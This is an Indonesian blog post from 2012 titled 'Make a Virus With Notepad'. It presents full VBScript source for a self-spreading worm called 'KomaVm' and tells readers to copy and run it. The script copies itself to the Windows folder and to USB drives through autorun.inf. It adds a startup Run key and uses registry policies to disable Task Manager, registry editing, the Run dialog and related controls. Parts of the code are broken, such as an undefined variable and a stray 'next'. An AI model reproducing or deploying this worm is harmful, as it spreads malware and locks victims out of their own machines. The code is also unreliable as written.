Wednesday 2 May 2012

Buat Virus Dengan Notepad


Langsung aja virus yang saya buat adalah virus komaVm dan efek dari virus ini gak bahaya hanya membuat file baru berbentuk (*.exe dan *.bat) dan apabila di execute maka virus tersebut langsung masuk ke system32 dan menginfeksi file-file .exe, .bat dan fungsi dari autorun yang tercantum dalam source code tersebut adalah apabila flash disk masuk ke kompi maka dalam hitungan detik akan langsung menyusup kesaja.

Apabila anda ingin mencoba virus ini di kompi anda sebaiknya anda memakai deep Frezee agar system anda tidak crash/down…

gini caranya:,,,,,
Copy-paste aja coding di bawah ini dan save di notepad dengan nama misal:
virus_gw.dll.vbs

------------------------------------------------------------------------
on error resume next

dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe KomaVm.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- KomaVm.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- KomaVm.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- KomaVm.dll.vbs “)
tf.attributes = 39

If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\KomaVm.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\KomaVm.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\KomaVm.dll.vbs “)
tf.attributes = 39

set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

set kalong = createobject(”WScript.Shell”)
kalong.Regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” Virus KomaVm ada di komputer anda hahaha... “
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0", “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1", “REG_DWORD”
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose”, “1", “REG_DWORD”
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff”, “1", “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1", “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1", “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1", “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1", “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1", “REG_DWORD”
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Virus Worm KomaVm telah menginfeksi Komputer Anda Jangan Panik!!!, Backup Data Penting Anda Sekarang...hahaha....”
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- KomaVm.dll.vbs “
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Made in anak Indonesia”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”KomaVm”
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
------------------------------------------------------------------------


Catatan:
*Tutorial ini hanya untuk pembelajaran semata lho. saya tidak bertanggung jawab atas semua kerusakan pada komputer anda hehehehe*


No comments:

Post a Comment